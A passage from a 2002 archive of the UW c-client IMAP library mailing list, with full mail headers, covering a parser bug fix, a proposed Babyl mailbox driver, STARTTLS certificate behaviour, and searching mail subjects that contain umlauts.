(for lack of a better word) my patch. It was clear that yours was written and implemented differently. > > What's still clear however, is that your response was clearly dismissive while you say that in reality you are considering the ideas and patches. If that's the case, please say so, people are not going to guess, especially from the replies (or lack thereof) you send. > > It's your project, you are entitled to wanting to re-write every single feature that is sent to you. > > Again, saying so would have helped. > > Anyway, no need to waste more of your time or mine, matter closed. > > Marc ------------------------------------------------ Join Excite! - http://www.excite.com The most personalized portal on the Web! From pinedev@shivax2.cac.washington.edu Thu Aug 22 11:25:22 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Aug 2002 11:25:22 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MIPM2P006791 for ; Thu, 22 Aug 2002 11:25:22 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Aug 22 11:25:21 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MIPI07027718 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 22 Aug 2002 11:25:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MIOoqt023612; Thu, 22 Aug 2002 11:24:50 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MIKteY147608 for ; Thu, 22 Aug 2002 11:20:55 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Aug 22 11:20:55 2002 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MIKsbq027372 for ; Thu, 22 Aug 2002 11:20:54 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Aug 22 11:20:54 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MIKs07027543 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Aug 2002 11:20:54 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MIKsYu015801 for ; Thu, 22 Aug 2002 11:20:54 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Thu Aug 22 11:20:53 2002 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MIKrTb004199 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT) for ; Thu, 22 Aug 2002 11:20:53 -0700 Message-Id: Date: Thu, 22 Aug 2002 11:20:49 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: important compatibility patch to UW c-client library MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It has recently been discovered that c-client's IMAP client parser does not properly handle BODYSTRUCTURE extension data that is in the form of a literal. Unfortunately, this creates a compatibility problem with some newer IMAP servers which generate this extension data (including the latest UW imapd in imap-2002!). The fix is to change file c-client/imap4r1.c, line: net_getbuffer (LOCAL->netstream,j = max (i,(long) IMAPTMPLEN - 1), to become: net_getbuffer (LOCAL->netstream,j = min (i,(long) IMAPTMPLEN - 1), That is, change the "max" to a "min". After making this change, rebuild c-client and/or Pine. Make sure that imap4r1.c is recompiled. The bug is that instead of reading the desired extension data, it reads IMAPTMPLEN-1 bytes (generally a much larger number) beyond the extension data, thus losing synchronization with subsequent data. The user either sees a proliferation of error messages, or the IMAP session seems to get stuck in a read timeout. As far as I know, this problem has only bit two people so far, but with the proliferation of newer IMAP servers which generate extension data this may bite more people in the future. This fix is for *ALL* versions of c-client up to and including the one in imap-2002 RC2; this also means *ALL* versions of Pine up to and including Pine 4.44. The fix WILL be in imap-2002 RC3 (and the release version) and the release version of Pine 4.50. I *may* withdraw the generation of the extension data in UW imapd as a temporary measure; however other IMAP servers are also generating this extension data so the genie is out of the bottle. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 22 13:06:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Aug 2002 13:06:03 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MK622P010714 for ; Thu, 22 Aug 2002 13:06:02 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Aug 22 13:06:02 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MK5tEN020252 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 22 Aug 2002 13:05:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MK5Oqt009792; Thu, 22 Aug 2002 13:05:24 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MK2seY124908 for ; Thu, 22 Aug 2002 13:02:54 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Aug 22 13:02:53 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MK2qbq024564 for ; Thu, 22 Aug 2002 13:02:52 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id NAA16079; Thu, 22 Aug 2002 13:02:34 -0700 (PDT) Message-Id: Date: Thu, 22 Aug 2002 12:10:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "K. Richard Pixley" Cc: c-client@u.washington.edu Subject: Re: babyl format driver? In-Reply-To: <3D62CD95.6060106@noir.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 20 Aug 2002 16:15:33 -0700, K. Richard Pixley wrote: > Me either, but I have emacs for samples, and a fair understanding of > it's capabilities. (flat file format with labels). :-). I have a similar understanding. However, I am *very* leery of implementing based upon that understanding. The people who use Babyl tend to be either fellow cranky oldtimers from the 1970s, or modern-day GNU fanatics. Neither group is particularly ameniable to anything that could be perceived as "taking over" their world. If one of them makes an implementation mistake, it's a bug. If I make the same implementation mistake, it's hostile action. All you have to do is see how people react to things that Microsoft has done over the years. Microsoft certainly has committed abundant hostile actions over the years, and continues to do so. But they also get flamed over matters that are legitimate mistakes. The "open source community" is not a very friendly one. > As far as I can tell, babyl is a dead format. It's use in emacs rmail > is just a carry-over from tops-20 days. Actually, a carry-over from ITS days (which predates TOPS-20). But now that you mention TOPS-20, that raises up another matter. I was the developer of the most popular TOPS-20 mailsystem, and effectively had the monopoly on the mailer daemon, mailbox namespace, and SMTP server. I had a large share of the MUA as well, but there were others...including Babyl. > My web search produced several dozen utilities for converting FROM babyl > back to mbox format If you can do that, then you can then convert to any other format since there are many utilities which convert from mbox format. This includes not only my own mailutil program (many formats), but also programs which the maildir and Cyrus communities have if you choose to go that route. > I don't think any of the original babyl format > programs survive. I have TECO source for the original BABYL on my TOPS-20 system: @v emacs:bab*.emacs PANDA: BABYL.EMACS.773;P775252 110 56034(36) 30-Jun-85 09:57:03 KRONJ BABYLM.EMACS.164;P775252 33 83232(7) 8-Aug-85 21:51:52 KRONJ Total of 143 pages in 2 files @ but I no longer possess the skills to understand MIT TECO programs. I never used Babyl. > c) Then there's the ongoing maintenance issue. If I get babyl format > into some (main line) imap server, then I can forget about it and the > next redhat/suse/blinux/whatever will be babyl capable. If I'm forced > to maintain diffs, then I'm forced to update/repatch/recompile every > time I reload or update my os. I have good news in that department. c-client uses a "driver" type technology, so that the only "patches" that need to be maintained are the creation of the babyl.[ch] files to implement the driver and adding "babyl" to the list of drivers in the Makefile. Unlike patches, drivers tend not to have compatibility issues between releases of c-client. The last major compatibility issue that required changes in all drivers was several years ago. So, it is likely that you can write a driver now and have it continue to work in future versions. > If it's out here maintained > separately, then how does anyone find it? Like, how would we know if > someone had already done a babyl driver? Web searches should solve this. I would also encourage the driver to be given to the GNU emacs people (since emacs rmail is the main user today) as something that they distribute. The qmail people distribute a maildir driver for c-client in a similar mechanism. > I'm not really willing to patch and recompile c-client every time a new > version is released and/or every time I reload redhat. As I said, the good news is that you shouldn't have to do that. You should be able to write the driver once. I think -- I am not sure -- that Redhat already adds a maildir driver to their distribution of c-client, so it probably is feasible to talk them into adding a babyl driver too. > Am I correct in understanding that Cyrus uses it's own storage format > and ONLY it's own format? That is correct. Cyrus is highly optimized for that format as well. From pinedev@shivax2.cac.washington.edu Thu Aug 22 13:29:34 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Aug 2002 13:29:34 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MKTY2P011826 for ; Thu, 22 Aug 2002 13:29:34 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Aug 22 13:29:34 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MKTWEN020933 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 22 Aug 2002 13:29:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MKR3lZ014242; Thu, 22 Aug 2002 13:27:03 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MKNSeY134048 for ; Thu, 22 Aug 2002 13:23:28 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Aug 22 13:23:26 2002 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MKNPR8028735 for ; Thu, 22 Aug 2002 13:23:26 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA25098; Thu, 22 Aug 2002 16:23:25 -0400 Received: from hickory by islet.zk3.dec.com (8.12.3/1.1.2.11/22Jul02-0533PM) id g7MKNOcO437102; Thu, 22 Aug 2002 16:23:24 -0400 (EDT) Message-Id: <019a01c24a19$cea06090$57008d10@zk3.dec.com> Date: Thu, 22 Aug 2002 16:23:41 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: "Mark Crispin" Cc: Subject: Re: certificate checking in ssl_start_tls() References: <00c601c23195$4196df90$57008d10@zk3.dec.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > The result is that, if built with SSL capability, the imapd server > > advertises STARTTLS even when there's no certificate. > > This is intentional. If you do STARTTLS in that situation, you'll get a > "Server certificate not installed" error message, which explains the > problem and what has to be done to fix it. > > Otherwise, people will wonder why, when they built a server with SSL/TLS > support, it doesn't advertise it. Well, I've said this before, but my goal is to provide one pre-built imapd for our customers that they may use with SSL/TLS, if they want to and have a certificate, or without, it they don't. The change I suggest allows this. Peter From pinedev@shivax2.cac.washington.edu Tue Aug 27 10:38:55 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 27 Aug 2002 10:38:55 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7RHcs2P025504 for ; Tue, 27 Aug 2002 10:38:54 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 27 10:38:54 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RHcmEN003221 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 27 Aug 2002 10:38:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RHcAeo077606; Tue, 27 Aug 2002 10:38:10 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RHX4eY081000 for ; Tue, 27 Aug 2002 10:33:05 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 27 10:33:03 2002 -0700 Received: from transmet.wiss-staff (gibil.iam.uni-bonn.de [131.220.223.9]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RHX2bq028721 for ; Tue, 27 Aug 2002 10:33:03 -0700 Received: (from garckej@localhost) by transmet.wiss-staff (8.11.6/8.11.6) id g7RHX1X26684 for c-client@u.washington.edu; Tue, 27 Aug 2002 19:33:01 +0200 Message-Id: <20020827173301.GA26673@transmet.wiss-staff> Date: Tue, 27 Aug 2002 19:33:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jochen Garcke To: c-client@u.washington.edu Subject: Search with umlauts Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have a problem using mail_search for mails with umlauts in From, Subject or so... See the following IMAP output: 00000077 SEARCH CHARSET ISO-8859-1 ALL SENTON 13-Mar-2002 FROM "XXXX " TO "garckej@iam.uni-bonn.de (Jochen Garcke)" SUBJECT "Re: =?iso-8859-1?Q?Komplexit=E4t_des_Einf=FCge?=" * SEARCH 00000077 OK SEARCH done. I would think that this should work or am I missing something ? Thanks for any info, Jochen -- Jochen Garcke mail: jochen@garcke.de Institut fuer Angewandte Mathematik, Uni Bonn wissrech.iam.uni-bonn.de GCD Deutschland (Die Comic Datenbank) www.garcke.de/GCD The future is viridian www.viridiandesign.org -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 27 11:15:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 27 Aug 2002 11:15:33 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7RIFX2P027396 for ; Tue, 27 Aug 2002 11:15:33 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 27 11:15:32 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RIFVEN004531 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 27 Aug 2002 11:15:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RHrwqt021612; Tue, 27 Aug 2002 10:53:58 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RHpReY130108 for ; Tue, 27 Aug 2002 10:51:27 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Aug 27 10:51:26 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RHpQs9017616 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 27 Aug 2002 10:51:26 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7RHpPEQ015595 for ; Tue, 27 Aug 2002 10:51:25 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Aug 27 10:51:23 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RHpNCR022318 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 27 Aug 2002 10:51:23 -0700 Message-Id: Date: Tue, 27 Aug 2002 10:51:23 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jochen Garcke Cc: c-client@u.washington.edu Subject: Re: Search with umlauts In-Reply-To: <20020827173301.GA26673@transmet.wiss-staff> References: <20020827173301.GA26673@transmet.wiss-staff> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 27 Aug 2002, Jochen Garcke wrote: > I have a problem using mail_search for mails with umlauts in From, > Subject or so... See the following IMAP output: > > 00000077 SEARCH CHARSET ISO-8859-1 ALL SENTON 13-Mar-2002 FROM "XXXX " TO "garckej@iam.uni-bonn.de (Jochen Garcke)" SUBJECT "Re: =?iso-8859-1?Q?Komplexit=E4t_des_Einf=FCge?=" > * SEARCH > 00000077 OK SEARCH done. The problem is that you are giving a MIME encoded-word as the text for the SUBJECT search. You need to give an 8-bit string in the character set identified by the CHARSET after SEARCH. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 27 13:44:01 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 27 Aug 2002 13:44:01 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7RKi12P002017 for ; Tue, 27 Aug 2002 13:44:01 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 27 13:43:59 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RKhx07022570 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 27 Aug 2002 13:43:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RKfsqt016654; Tue, 27 Aug 2002 13:41:55 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RKdCeY015610 for ; Tue, 27 Aug 2002 13:39:12 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 27 13:39:11 2002 -0700 Received: from transmet.wiss-staff (gibil.iam.uni-bonn.de [131.220.223.9]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RKdAR8020785 for ; Tue, 27 Aug 2002 13:39:11 -0700 Received: (from garckej@localhost) by transmet.wiss-staff (8.11.6/8.11.6) id g7RKd9V29075 for c-client@u.washington.edu; Tue, 27 Aug 2002 22:39:09 +0200 Message-Id: <20020827203909.GA28932@transmet.wiss-staff> Date: Tue, 27 Aug 2002 22:39:09 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jochen Garcke To: c-client@u.washington.edu Subject: Re: Search with umlauts In-Reply-To: References: <20020827173301.GA26673@transmet.wiss-staff> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Aug 27, 2002 at 10:51:23AM -0700, Mark Crispin wrote: > On Tue, 27 Aug 2002, Jochen Garcke wrote: > > I have a problem using mail_search for mails with umlauts in From, > > Subject or so... See the following IMAP output: > > > > 00000077 SEARCH CHARSET ISO-8859-1 ALL SENTON 13-Mar-2002 FROM "XXXX " TO "garckej@iam.uni-bonn.de (Jochen Garcke)" SUBJECT "Re: =?iso-8859-1?Q?Komplexit=E4t_des_Einf=FCge?=" > > * SEARCH > > 00000077 OK SEARCH done. > > The problem is that you are giving a MIME encoded-word as the text for the > SUBJECT search. > > You need to give an 8-bit string in the character set identified by the > CHARSET after SEARCH. I assumed that I could use the subject which I get via e.g. mail_fetchenvelope or mail_fetchheader, which the above is, for a search via mail_search. So that is not the case ? Is there an easy way to convert the above into an 8-bit string ? Thanks, Jochen -- Jochen Garcke mail: jochen@garcke.de Institut fuer Angewandte Mathematik, Uni Bonn wissrech.iam.uni-bonn.de GCD Deutschland (Die Comic Datenbank) www.garcke.de/GCD The future is viridian www.viridiandesign.org From pinedev@shivax2.cac.washington.edu Tue Aug 27 13:54:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 27 Aug 2002 13:54:20 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7RKsK2P002391 for ; Tue, 27 Aug 2002 13:54:20 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 27 13:54:19 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RKsIEN010096 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 27 Aug 2002 13:54:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RKqweo083950; Tue, 27 Aug 2002 13:52:59 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7RKmXeY049370 for ; Tue, 27 Aug 2002 13:48:34 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 27 13:48:32 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RKmWs9013268 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 27 Aug 2002 13:48:32 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7RKmVlc030427 for ; Tue, 27 Aug 2002 13:48:31 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Aug 27 13:48:25 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7RKmPTb006063 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 27 Aug 2002 13:48:25 -0700 Message-Id: Date: Tue, 27 Aug 2002 13:48:25 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jochen Garcke Cc: c-client@u.washington.edu Subject: Re: Search with umlauts In-Reply-To: <20020827203909.GA28932@transmet.wiss-staff> References: <20020827173301.GA26673@transmet.wiss-staff> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 27 Aug 2002, Jochen Garcke wrote: > I assumed that I could use the subject which I get via e.g. > mail_fetchenvelope or mail_fetchheader, which the above is, > for a search via mail_search. > So that is not the case ? That is correct. You have to convert MIME encoded-words into 8-bit string with charset. > Is there an easy way to convert the above into an 8-bit string ? You must either convert the MIME encoded-word yourself, or you can use utf8_mime2text() and do a CHARSET UTF-8 (as opposed to CHARSET ISO-8859-1) search. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Aug 29 16:49:11 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Aug 2002 16:49:11 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7TNnB2P007832 for ; Thu, 29 Aug 2002 16:49:11 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Aug 29 16:49:10 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7TNn9EN003209 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 29 Aug 2002 16:49:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g7TNllk6015404; Thu, 29 Aug 2002 16:47:48 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g7TNhm97103076 for ; Thu, 29 Aug 2002 16:43:48 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Aug 29 16:43:47 2002 -0700 Received: from efreet.gene.com (efreet-open.gene.COM [192.12.78.77]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7TNhlJX032690 for ; Thu, 29 Aug 2002 16:43:47 -0700 Received: from leavenworth.gene.com (kansas-dhsvc.gene.com [128.137.56.51]) by efreet.gene.com (8.12.2/8.12.4) with ESMTP id g7TNhR3L264731; Thu, 29 Aug 2002 16:43:27 -0700 (PDT) Received: from catnip (dhcp192-6.gene.com [128.137.192.6]) by leavenworth.gene.com (8.12.5/8.12.5) with ESMTP id g7TNhji5970141; Thu, 29 Aug 2002 16:43:46 -0700 (PDT) Message-Id: <28565DF5-BBA9-11D6-8310-00039378F00E@gene.com> Date: Thu, 29 Aug 2002 16:43:45 